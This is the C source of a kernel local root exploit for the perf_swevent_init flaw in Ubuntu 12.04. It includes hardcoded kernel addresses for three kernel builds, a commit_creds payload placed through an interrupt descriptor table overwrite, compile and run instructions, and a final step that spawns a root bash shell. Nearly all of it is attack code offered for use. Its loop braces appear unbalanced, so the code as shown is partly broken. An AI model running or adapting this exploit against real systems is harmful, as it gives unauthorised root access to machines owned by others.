Ubuntu 12.04.0-2LTS x64 perf_swevent_init - Kernel Local Root Exploit

/**

* Ubuntu 12.04 3.x x86_64 perf_swevent_init Local root exploit

* by Vitaly Nikolenko (vnik5287@gmail.com)

*

* based on semtex.c by sd

*

* Supported targets:

* [0] Ubuntu 12.04.0 - 3.2.0-23-generic

* [1] Ubuntu 12.04.1 - 3.2.0-29-generic

* [2] Ubuntu 12.04.2 - 3.5.0-23-generic

*

* $ gcc vnik.c -O2 -o vnik

*

* $ uname -r

* 3.2.0-23-generic

*

* $ ./vnik 0

*/

#define _GNU_SOURCE 1

#include <stdint.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <sys/mman.h>

#include <syscall.h>

#include <stdint.h>

#include <assert.h>

#define BASE 0x1780000000

#define SIZE 0x0010000000

#define KSIZE 0x2000000

#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))

typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred);

typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred);

uint64_t targets[3][3] =

{{0xffffffff81ef67e0, // perf_swevent_enabled

0xffffffff81091630, // commit_creds

0xffffffff810918e0}, // prepare_kernel_cred

{0xffffffff81ef67a0,

0xffffffff81091220,

0xffffffff810914d0},

{0xffffffff81ef5940,

0xffffffff8107ee30,

0xffffffff8107f0c0}

};

void __attribute__((regparm(3))) payload() {

uint32_t *fixptr = (void*)AB(1);

// restore the handler

*fixptr = -1;

commit_creds_fn commit_creds = (commit_creds_fn)AB(2);

prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)AB(3);

commit_creds(prepare_kernel_cred((uint64_t)NULL));

}

void trigger(uint32_t off) {

uint64_t buf[10] = { 0x4800000001, off, 0, 0, 0, 0x300 };

int fd = syscall(298, buf, 0, -1, -1, 0);

assert( !close(fd) );

}

int main(int argc, char **argv) {

uint64_t off64, needle, kbase, *p;

uint8_t *code;

uint32_t int_n, j = 5, target = 1337;

int offset = 0;

void *map;

assert(argc == 2 && "target?");

assert( (target = atoi(argv[1])) < 3 );

struct {

uint16_t limit;

uint64_t addr;

} __attribute__((packed)) idt;

// mmap user-space block so we don't page fault

// on sw_perf_event_destroy

assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);

memset(map, 0, SIZE);

asm volatile("sidt %0" : "=m" (idt));

kbase = idt.addr & 0xff000000;

printf("IDT addr = 0x%lx\n", idt.addr);

assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);

memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &payload, 1024);

memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13);

// can only play with interrupts 3, 4 and 0x80

for (int_n = 3; int_n <= 0x80; int_n++) {

for (off64 = 0x00000000ffffffff; (int)off64 < 0; off64--) {

int off32 = off64;

if ((targets[target][0] + ((uint64_t)off32)*24) == (idt.addr + int_n*16 + 8)) {

offset = off32;

goto out;

}

if (int_n == 4) {

// shit, let's try 0x80 if the kernel is compiled with

// CONFIG_IA32_EMULATION

int_n = 0x80 - 1;

}

out:

assert(offset);

printf("Using int = %d with offset = %d\n", int_n, offset);

for (j = 0; j < 3; j++) {

needle = AB(j+1);

assert(p = memmem(code, 1024, &needle, 8));

*p = !j ? (idt.addr + int_n * 16 + 8) : targets[target][j];

}

trigger(offset);

switch (int_n) {

case 3:

asm volatile("int $0x03");

break;

case 4:

asm volatile("int $0x04");

break;

case 0x80:

asm volatile("int $0x80");

}

assert(!setuid(0));

return execl("/bin/bash", "-sh", NULL);

}